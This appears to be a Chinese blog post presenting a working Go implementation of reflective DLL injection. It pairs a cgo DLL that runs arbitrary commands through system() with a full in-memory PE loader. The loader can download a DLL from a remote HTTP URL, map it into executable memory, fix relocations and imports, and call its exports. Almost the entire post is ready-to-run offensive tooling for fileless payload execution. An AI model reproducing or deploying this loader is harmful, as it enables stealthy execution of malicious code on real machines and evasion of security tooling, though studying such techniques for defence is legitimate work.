GO 反射DLL注入
2025-01-08
14 min read
Golang DLL 代码
// mirage.go
package main
/*
#include <stdio.h>
#include <stdlib.h>
// 声明导出函数
__declspec(dllexport) void mirage(const char* cmd) {
printf(cmd);
system(cmd);
}
*/
import "C"
func main() {
}
编译DLL 方法
$env:CGO_ENABLED="1"
go build -o mirage.dll -buildmode=c-shared mirage.go
Golang Reflective Inject
package main
import (
"bytes"
"encoding/binary"
"flag"
"fmt"
"golang.org/x/sys/windows"
"io"
"log"
"net/http"
"net/url"
"os"
"strings"
"syscall"
"unsafe"
)
// IMAGE_OPTIONAL_HEADER64 表示适用于64位架构的可选PE头结构。
type IMAGE_OPTIONAL_HEADER64 struct {
Magic uint16 // 文件的魔数标志,用于识别PE文件。
MajorLinkerVersion uint8 // 链接器主版本号。
MinorLinkerVersion uint8 // 链接器次版本号。
SizeOfCode uint32 // 代码段的大小。
SizeOfInitializedData uint32 // 已初始化数据段的大小。
SizeOfUninitializedData uint32 // 未初始化数据段的大小。
AddressOfEntryPoint uint32 // 程序入口点的RVA(相对虚拟地址)。
BaseOfCode uint32 // 代码段的起始地址。
ImageBase uint64 // 文件加载到内存后的首地址。
SectionAlignment uint32 // 内存中段对齐的粒度。
FileAlignment uint32 // 文件中段对齐的粒度。
MajorOperatingSystemVersion uint16 // 支持的操作系统主版本号。
MinorOperatingSystemVersion uint16 // 支持的操作系统次版本号。
MajorImageVersion uint16 // 文件主版本号。
MinorImageVersion uint16 // 文件次版本号。
MajorSubsystemVersion uint16 // 子系统的主版本号。
MinorSubsystemVersion uint16 // 子系统的次版本号。
Win32VersionValue uint32 // 保留字段,通常为0。
SizeOfImage uint32 // 映像文件大小。
SizeOfHeaders uint32 // 所有头和表的大小。
CheckSum uint32 // 校验和。
Subsystem uint16 // 子系统类型。
DllCharacteristics uint16 // DLL的特性标志。
SizeOfStackReserve uint64 // 保留的堆栈大小。
SizeOfStackCommit uint64 // 提交的堆栈大小。
SizeOfHeapReserve uint64 // 保留的堆大小。
SizeOfHeapCommit uint64 // 提交的堆大小。
LoaderFlags uint32 // 加载标志(已废弃)。
NumberOfRvaAndSizes uint32 // 数据目录数量。
DataDirectory [16]IMAGE_DATA_DIRECTORY // 数据目录。
}
// IMAGE_DATA_DIRECTORY 表示数据目录条目。
type IMAGE_DATA_DIRECTORY struct {
VirtualAddress uint32 // 数据目录的起始地址(RVA)。
Size uint32 // 数据目录的大小。
}
// IMAGE_FILE_HEADER 表示文件头结构。
type IMAGE_FILE_HEADER struct {
Machine uint16 // 目标机器类型(例如x64)。
NumberOfSections uint16 // 段数量。
TimeDateStamp uint32 // 文件创建时间戳。
PointerToSymbolTable uint32 // 符号表的指针(已废弃)。
NumberOfSymbols uint32 // 符号数量(已废弃)。
SizeOfOptionalHeader uint16 // 可选头的大小。
Characteristics uint16 // 文件特性标志。
}
// IMAGE_NT_HEADERS64 表示PE文件的NT头(适用于64位)。
type IMAGE_NT_HEADERS64 struct {
Signature uint32 // 签名(通常为 "PE\0\0")。
FileHeader IMAGE_FILE_HEADER // 文件头。
OptionalHeader IMAGE_OPTIONAL_HEADER64 // 可选头(适用于64位)。
}
// IMAGE_SECTION_HEADER 表示段头。
type IMAGE_SECTION_HEADER struct {
Name [8]byte // 段名称。
VirtualSize uint32 // 段的内存大小。
VirtualAddress uint32 // 段的内存RVA。
SizeOfRawData uint32 // 段在文件中的大小。
PointerToRawData uint32 // 段在文件中的偏移。
PointerToRelocations uint32 // 重定位表的偏移(已废弃)。
PointerToLinenumbers uint32 // 行号表的偏移(已废弃)。
NumberOfRelocations uint16 // 重定位数量(已废弃)。
NumberOfLinenumbers uint16 // 行号数量(已废弃)。
Characteristics uint32 // 段特性标志。
}
// BASE_RELOCATION_BLOCK 表示重定位块结构。
type BASE_RELOCATION_BLOCK struct {
PageAddress uint32 // 重定位块所在页的起始地址。
BlockSize uint32 // 重定位块的大小。
}
// BASE_RELOCATION_ENTRY 表示单个重定位条目。
type BASE_RELOCATION_ENTRY struct {
OffsetType uint16 // 偏移和类型的组合字段。
}
// Offset 从组合字段中提取偏移量。
func (bre BASE_RELOCATION_ENTRY) Offset() uint16 {
return bre.OffsetType & 0xFFF
}
// Type 从组合字段中提取类型。
func (bre BASE_RELOCATION_ENTRY) Type() uint16 {
return (bre.OffsetType >> 12) & 0xF
}
// ImageExportDirectory找出在DLL中的所有导出函数
type ImageExportDirectory struct {
Characteristics uint32
TimeDateStamp uint32
MajorVersion uint16
MinorVersion uint16
Name uint32
Base uint32
NumberOfFunctions uint32
NumberOfNames uint32
AddressOfFunctions uint32
AddressOfNames uint32
AddressOfNameOrdinals uint32
}
// IMAGE_IMPORT_DESCRIPTOR 表示导入表的描述符。
type IMAGE_IMPORT_DESCRIPTOR struct {
Characteristics uint32 // 描述符的特性。
TimeDateStamp uint32 // 时间戳。
ForwarderChain uint32 // 转发链。
Name uint32 // 导入DLL名称的RVA。
FirstThunk uint32 // 首个IAT表项的RVA。
}
// uintptrToBytes 将uintptr转换为字节数组。
func uintptrToBytes(ptr uintptr) []byte {
ptrPtr := unsafe.Pointer(&ptr) // 获取指针的指针。
byteSlice := make([]byte, unsafe.Sizeof(ptr))
for i := 0; i < int(unsafe.Sizeof(ptr)); i++ {
byteSlice[i] = *(*byte)(unsafe.Pointer(uintptr(ptrPtr) + uintptr(i)))
}
return byteSlice
}
func cStringToGoString(cstr *byte) string {
bytes := []byte{}
for {
b := *cstr
if b == 0 {
break
}
bytes = append(bytes, b)
cstr = (*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(cstr)) + 1))
}
return string(bytes)
}
// 常量定义。
const (
IMAGE_DIRECTORY_ENTRY_IMPORT = 0x1 // 导入表的目录索引。
IMAGE_DIRECTORY_ENTRY_BASERELOC = 0x5 // 重定位表的目录索引。
DLL_PROCESS_ATTACH = 0x1 // DLL加载时的附加标志。
)
func DownloadDLL(url string) ([]byte, error) {
resp, err := http.Get(url)
if err != nil {
return nil, err
}
defer resp.Body.Close()
buf := new(bytes.Buffer)
_, err = io.Copy(buf, resp.Body)
if err != nil {
return nil, err
}
return buf.Bytes(), nil
}
func isURL(str string) bool {
parsedURL, err := url.Parse(str)
if err != nil {
return false
}
// 检查 URL 是否包含 Scheme 和 Host
return parsedURL.Scheme != "" && parsedURL.Host != ""
}
func LoadDll(filepath, inputFuncName string, args []string) {
// 输出一个空行,方便格式化日志输出
fmt.Println()
var dllBytes []byte
// 读取DLL文件内容到字节切片中
if isURL(filepath) {
dllBytes, _ = DownloadDLL(filepath)
} else {
dllBytes, _ = os.ReadFile(filepath)
}
// 将DLL字节切片的起始地址转为uintptr,用于后续内存操作
dllPtr := uintptr(unsafe.Pointer(&dllBytes[0]))
fmt.Printf("[+] DLL of size %d is loaded in memory at 0x%x\n", len(dllBytes), dllPtr)
// 获取PE头的偏移量(e_lfanew),用来定位PE文件的NT头
e_lfanew := *((*uint32)(unsafe.Pointer(dllPtr + 0x3c)))
// 使用偏移量获取PE的NT头地址并转为IMAGE_NT_HEADERS64结构
nt_header := (*IMAGE_NT_HEADERS64)(unsafe.Pointer(dllPtr + uintptr(e_lfanew)))
// 为DLL分配内存空间
dllBase, err := windows.VirtualAlloc(uintptr(nt_header.OptionalHeader.ImageBase),
uintptr(nt_header.OptionalHeader.SizeOfImage),
windows.MEM_RESERVE|windows.MEM_COMMIT,
windows.PAGE_EXECUTE_READWRITE,
)
if err != nil {
log.Fatalf("[!] VirtualAlloc Failed")
}
// 打印分配的基址
fmt.Printf("[+] Allocated address at 0x%x\n\n", dllBase)
// 计算加载基址的差值,用于重定位修正
deltaImageBase := dllBase - uintptr(nt_header.OptionalHeader.ImageBase)
// 将PE头拷贝到目标内存地址
var numberOfBytesWritten uintptr
err = windows.WriteProcessMemory(windows.CurrentProcess(), dllBase, &dllBytes[0], uintptr(nt_header.OptionalHeader.SizeOfHeaders), &numberOfBytesWritten)
if err != nil {
log.Fatalf("[!] WriteProcessMemory Failed")
}
// 获取PE文件中的段数量
numberOfSections := int(nt_header.FileHeader.NumberOfSections)
// 计算段表的起始地址
sectionAddr := dllPtr + uintptr(e_lfanew) + unsafe.Sizeof(nt_header.Signature) + unsafe.Sizeof(nt_header.OptionalHeader) + unsafe.Sizeof(nt_header.FileHeader)
// 遍历所有段并将它们拷贝到目标内存
for i := 0; i < numberOfSections; i++ {
// 获取当前段的结构信息
section := (*IMAGE_SECTION_HEADER)(unsafe.Pointer(sectionAddr))
// 计算段的目标地址和数据源地址
sectionDestination := dllBase + uintptr(section.VirtualAddress)
sectionBytes := (*byte)(unsafe.Pointer(dllPtr + uintptr(section.PointerToRawData)))
// 打印段拷贝信息
fmt.Printf("[+] Copying %d bytes from 0x%x -> 0x%x for section : %s\n",
section.SizeOfRawData, dllPtr+uintptr(section.PointerToRawData), sectionDestination, windows.ByteSliceToString(section.Name[:]))
// 将段数据拷贝到目标内存
err = windows.WriteProcessMemory(windows.CurrentProcess(), sectionDestination, sectionBytes, uintptr(section.SizeOfRawData), &numberOfBytesWritten)
if err != nil {
log.Fatalf("[!] WriteProcessMemory Failed: %v \n", err)
}
// 如果当前段是代码段(.text),修改其权限为可执行
if windows.ByteSliceToString(section.Name[:]) == ".text" {
var oldprotect uint32
err := windows.VirtualProtect(sectionDestination, uintptr(section.SizeOfRawData), windows.PAGE_EXECUTE_READ, &oldprotect)
if err != nil {
log.Fatalln("[ERROR] Failed to change memory permissions")
}
}
// 移动到下一个段
sectionAddr += unsafe.Sizeof(*section)
}
fmt.Println()
// 获取重定位表信息
relocations := nt_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
relocation_table := uintptr(relocations.VirtualAddress) + dllBase
fmt.Printf("[+] Relocation table Address: 0x%x\n\n", relocation_table)
// 遍历重定位表并修正所有地址
var relocations_processed int
for {
// 读取当前的重定位块
relocation_block := *(*BASE_RELOCATION_BLOCK)(unsafe.Pointer(uintptr(relocation_table + uintptr(relocations_processed))))
// 如果重定位块的大小为0,则结束循环
if relocation_block.BlockSize == 0 && relocation_block.PageAddress == 0 {
break
}
// 计算当前块中的重定位条目数量
relocationsCount := (relocation_block.BlockSize - 8) / 2
fmt.Printf("[+] PAGERVA : 0x%04x Size: 0x%02x Entries Count: 0x%02x\n", relocation_block.PageAddress, relocation_block.BlockSize, relocationsCount)
// 遍历所有重定位条目并修正地址
for i := 0; i < int(relocationsCount); i++ {
// 读取重定位条目并解析偏移和类型
relocEntry := relocation_table + uintptr(relocations_processed) + 8 + uintptr(i*2)
entry := *(*BASE_RELOCATION_ENTRY)(unsafe.Pointer(relocEntry))
// 跳过类型为0的条目
if entry.Type() == 0 {
continue
}
// 读取当前地址值并应用基址修正
relocationRVA := relocation_block.PageAddress + uint32(entry.Offset())
var originalValue uintptr
byteSlice := make([]byte, unsafe.Sizeof(originalValue))
err = windows.ReadProcessMemory(windows.CurrentProcess(), dllBase+uintptr(relocationRVA), &byteSlice[0], unsafe.Sizeof(originalValue), nil)
if err != nil {
log.Fatalf("[ERROR] Failed to ReadProcessMemory")
}
addressToPatch := uintptr(binary.LittleEndian.Uint64(byteSlice))
addressToPatch += deltaImageBase
a2Patch := uintptrToBytes(addressToPatch)
err = windows.WriteProcessMemory(windows.CurrentProcess(), dllBase+uintptr(relocationRVA), &a2Patch[0], uintptr(len(a2Patch)), nil)
if err != nil {
log.Fatalf("[ERROR] Failed to WriteProcessMemory")
}
}
// 更新已处理的字节数
relocations_processed += int(relocation_block.BlockSize)
}
var targetFuncAddr uintptr
if inputFuncName != "" {
// 遍历导出地址表,方便调用
// 在OptionalHeader中读取数据目录中导出表的所在位置,这里直接取了0,即第一个元素就是导出表的起始位置,如果要找导入表,则填8
// 这个位置加上dllBase就能够找到在内存中的值,通过预设的ImageExportDirectory结构体还原导出表
exportDirectoryRVA := *(*uint32)(unsafe.Pointer(&nt_header.OptionalHeader.DataDirectory[0]))
exportDirectory := (*ImageExportDirectory)(unsafe.Pointer(dllBase + uintptr(exportDirectoryRVA)))
// 读取导出函数的名称列表,函数序号表以及函数地址表
nameArray := (*[1 << 20]uint32)(unsafe.Pointer(dllBase + uintptr(exportDirectory.AddressOfNames)))
ordinalArray := (*[1 << 20]uint16)(unsafe.Pointer(dllBase + uintptr(exportDirectory.AddressOfNameOrdinals)))
functionArray := (*[1 << 20]uint32)(unsafe.Pointer(dllBase + uintptr(exportDirectory.AddressOfFunctions)))
// NumberOfNames表示导出函数的数量
for i := 0; i < int(exportDirectory.NumberOfNames); i++ {
// 读取第一个导出函数名称存放的内存地址,通过函数将指针指向的内容进行读取
nameRVA := nameArray[i]
name := (*byte)(unsafe.Pointer(dllBase + uintptr(nameRVA)))
funcName := cStringToGoString(name)
if funcName == inputFuncName {
// 找到函数地址
ordinal := ordinalArray[i]
funcRVA := functionArray[ordinal]
targetFuncAddr = dllBase + uintptr(funcRVA)
fmt.Printf("[+] Function '%s' found, address is %v\n", inputFuncName, targetFuncAddr)
break
}
}
if targetFuncAddr == 0 {
fmt.Printf("[DEBUG] Function '%s' not found\n", inputFuncName)
return
}
}
// 获取导入表信息
importsDirectory := nt_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
importDescriptorAddr := dllBase + uintptr(importsDirectory.VirtualAddress)
fmt.Printf("[+] Import Descripton address: 0x%x\n\n", importDescriptorAddr)
// 遍历导入表并加载所有依赖DLL和函数
for {
// 读取导入描述符
importDescriptor := *(*IMAGE_IMPORT_DESCRIPTOR)(unsafe.Pointer(importDescriptorAddr))
if importDescriptor.Name == 0 {
break
}
// 加载依赖的DLL
libraryName := uintptr(importDescriptor.Name) + dllBase
dllName := windows.BytePtrToString((*byte)(unsafe.Pointer(libraryName)))
fmt.Printf("[+] Importing DLL : %s\n", dllName)
hLibrary, err := windows.LoadLibrary(dllName)
if err != nil {
log.Fatalln("[ERROR] LoadLibrary Failed")
}
// 遍历IAT(导入地址表),解析函数地址
addr := dllBase + uintptr(importDescriptor.FirstThunk)
for {
thunk := *(*uint32)(unsafe.Pointer(addr))
fmt.Printf("[DEBUG] Thunk Value: 0x%x\n", thunk)
if thunk == 0 {
break
}
// 获取函数名称并加载地址
functionNameAddr := dllBase + uintptr(thunk+2)
functionName := windows.BytePtrToString((*byte)(unsafe.Pointer(functionNameAddr)))
fmt.Printf("[+] functionName: %s\n", functionName)
proc, err := windows.GetProcAddress(hLibrary, functionName)
if err != nil {
log.Fatalln("[ERROR] Failed to GetProcAddress")
}
fmt.Printf(" --> Importing Function %s -> Addr: 0x%x\n", functionName, proc)
// 写入函数地址到导入地址表
procBytes := uintptrToBytes(proc)
var numberOfBytesWritten uintptr
err = windows.WriteProcessMemory(windows.CurrentProcess(), addr, &procBytes[0], uintptr(len(procBytes)), &numberOfBytesWritten)
if err != nil {
log.Fatalln("[ERROR] Failed to WriteProcessMemory")
}
// 移动到下一个函数
addr += 0x8
}
// 移动到下一个导入描述符
importDescriptorAddr += 0x14
}
//调用DLL的入口点函数
if targetFuncAddr != 0 {
var uintptrArgs []uintptr
for _, arg := range args {
cStr := syscall.StringBytePtr(arg) // 转换为 C 风格字符串
uintptrArgs = append(uintptrArgs, uintptr(unsafe.Pointer(cStr)))
}
syscall.SyscallN(targetFuncAddr, uintptrArgs...)
return
}
syscall.SyscallN(dllBase+uintptr(nt_header.OptionalHeader.AddressOfEntryPoint), dllBase, DLL_PROCESS_ATTACH, 0)
fmt.Println("[+] DLL function executed")
// 释放分配的内存
err = windows.VirtualFree(dllBase, 0x0, windows.MEM_RELEASE)
if err != nil {
log.Fatalln("[ERROR] Failed to Free Memory")
}
fmt.Printf("[+] Freed Memory at 0x%x\n", dllBase)
}
func main() {
dllPath := flag.String("f", "", "You can enter the location of the local DLL, or the remote HTTP address.")
funcName := flag.String("n", "", "The name of the exported function you want to call.")
argument := flag.String("a", "", "Optional argument string: If your dll function implements the addition of two parameters, you can pass the value in the -a 1,2 way.")
var args []string
// 解析命令行参数
flag.Parse()
// 检查 -f 是否提供
if *dllPath == "" {
fmt.Println("[-] Error: -f parameter is required")
flag.Usage()
os.Exit(1)
}
if *argument != "" {
args = strings.Split(*argument, ",")
}
LoadDll(*dllPath, *funcName, args)
}
参考
- https://www.yuque.com/juwangyizhu
- https://www.yuque.com/juwangyizhu/fam58u/omvmdllnstviuzgz?singleDoc# 《PE文件结构》